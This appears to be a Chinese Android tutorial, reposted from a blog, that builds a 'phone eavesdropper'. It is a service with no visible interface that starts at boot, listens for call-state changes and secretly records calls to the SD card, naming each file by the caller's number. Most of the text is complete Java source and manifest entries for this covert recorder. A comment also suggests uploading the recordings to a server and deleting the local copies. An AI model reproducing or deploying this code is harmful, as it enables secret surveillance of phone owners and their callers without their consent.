Android中 服务Service 电话窃听器

来源:互联网 发布:淘宝卖什么最好赚钱 编辑:程序博客网 时间:2024/04/20 03:35

组件—服务

后台长期运行的没有界面的一个activity。


电话窃听器:

需求:

1.没有界面,一般用户看不到,开机自动启动

2.长期的后台运行,监视当前用户的手机状态

3.通话状态,开启一个录音机,然后录音通话记录,保存在sd卡中。  


创建服务的步骤:

1.写一个类,继承系统的Service组件

2.清单文件配置

3.在服务的onCreate()方法做服务初始化的操作

4.在服务的onDestroy()方法里面做服务扫尾操作

5.开启服务startService(intent) stopService(intent)。


一.自己写界面控制服务的开启和关闭

xml文件很简单,就两个button开启服务和关闭服务,不给出了。


MainActivity.java文件,

package com.itheima.phonelistener;import android.os.Bundle;import android.app.Activity;import android.content.Intent;import android.view.Menu;import android.view.View;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);}/** * 开启服务按钮对应的点击时间 * @param view */public void start(View view){//定义服务的意图对象Intent intent = new Intent(this,PhoneStatusService.class);startService(intent);}/** * 关闭服务按钮对应的点击时间 * @param view */public void stop(View view){Intent intent = new Intent(this,PhoneStatusService.class);stopService(intent);}}

服务PhoneStatusService.java文件,

package com.itheima.phonelistener;import java.io.File;import java.io.IOException;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.media.MediaRecorder.AudioSource;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.util.Log;public class PhoneStatusService extends Service {public static final String TAG = "PhoneStatusService";//声明手机电话系统状态管理的服务类private TelephonyManager tm;//电话状态的监听器private MyPhoneListener myPhoneListener;//定义一个电话录音机private MediaRecorder mediaRecorder;@Overridepublic IBinder onBind(Intent arg0) {return null;}//Called by the system when the service is first created//当服务第一次被创建的时候执行,由系统执行的。@Overridepublic void onCreate() {//获取手机电话状态管理的服务。tm  = (TelephonyManager)getSystemService(TELEPHONY_SERVICE);//创建一个监听器,监听电话呼叫状态的变化。myPhoneListener = new MyPhoneListener();//开始监听用户的通话状态tm.listen(myPhoneListener, PhoneStateListener.LISTEN_CALL_STATE);super.onCreate();}//Called by the system to notify a Service that it is no longer used and is being removed//当服务被停止的时候调用。@Overridepublic void onDestroy() {//服务停止取消电话的监听器tm.listen(myPhoneListener, PhoneStateListener.LISTEN_NONE);myPhoneListener = null;super.onDestroy();}private class MyPhoneListener extends PhoneStateListener{//当手机呼叫状态变化的时候 执行下面代码。//state 电话的状态//incomingnumber 来电号码@Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {//判断我们当前手机的通话状态switch (state) {//手机处于空闲状态,没有人打电话 没有零响case TelephonyManager.CALL_STATE_IDLE:Log.i(TAG,"手机处于空闲状态,检查刚才是否开启了录音机,如果开启了,保存音频到sd卡");if(mediaRecorder!=null){//8.停止录音mediaRecorder.stop();//9.释放资源。mediaRecorder.release();//方便垃圾回收器回收掉资源mediaRecorder = null;//上传音频文件到服务器 。 网络请求api。删除sd卡临时保存的文件。}break;//手机零响状态case TelephonyManager.CALL_STATE_RINGING:Log.i(TAG,"手机铃声响的状态,悄悄地开启一个录音机,准备录音。");//1.第一步创建一个多媒体录音机的实例mediaRecorder = new MediaRecorder();//2.指定录音机的音频源 录音的音源是麦克风mediaRecorder.setAudioSource(AudioSource.MIC);//3.指定这个音频文件的格式 。mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//4.指定录出来的音频文件保存的文件路径File file = new File(Environment.getExternalStorageDirectory(),incomingNumber+".3gp");mediaRecorder.setOutputFile(file.getAbsolutePath());//5.设置音频的编码格式mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//6.准备开始录音mediaRecorder.prepare();break;//电话接通状态,用户正在打电话case TelephonyManager.CALL_STATE_OFFHOOK:Log.i(TAG,"手机处于通话状态,开始录音,把用户说的话都给录下来。");if(mediaRecorder!=null){//7.开始录音mediaRecorder.start();}break;}super.onCallStateChanged(state, incomingNumber);} catch (Exception e) {e.printStackTrace();}}}}

配置文件AndroidManifest.xml添加

<service android:name="com.itheima.phonelistener.PhoneStatusService" >        </service>
<!-- 监视用户电话的状态侵犯了用户的隐私,需要权限 -->    <uses-permission android:name="android.permission.READ_PHONE_STATE" />    <!-- 录音需要权限 -->    <uses-permission android:name="android.permission.RECORD_AUDIO" />    <!-- 写sd卡 -->    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />


二.开机自动启动服务

配置文件AndroidManifest.xml添加

<!--    接收手机启动完毕广播事件的权限,在4.0以前的版本,不需要添加这个权限也可以开启启动,    在4.0以后的版本 不包括4。0必须要添加开机启动的权限    -->    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />


自定义开机广播接受者,

package com.itheima.phonelistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;public class BootCompleteReceiver extends BroadcastReceiver {private static final String TAG = "BootCompleteReceiver";@Overridepublic void onReceive(Context context, Intent intent) {Log.i(TAG,"手机启动完毕了,监视到了手机启动的广播事件,开启后台监听的服务");Intent i = new Intent(context,PhoneStatusService.class);context.startService(i);}}

查看sd卡路径下可以找到.3gp文件,就是通话的录音文件。


http://www.cnblogs.com/loonggg/archive/2013/01/04/2843904.html

0 0
原创粉丝点击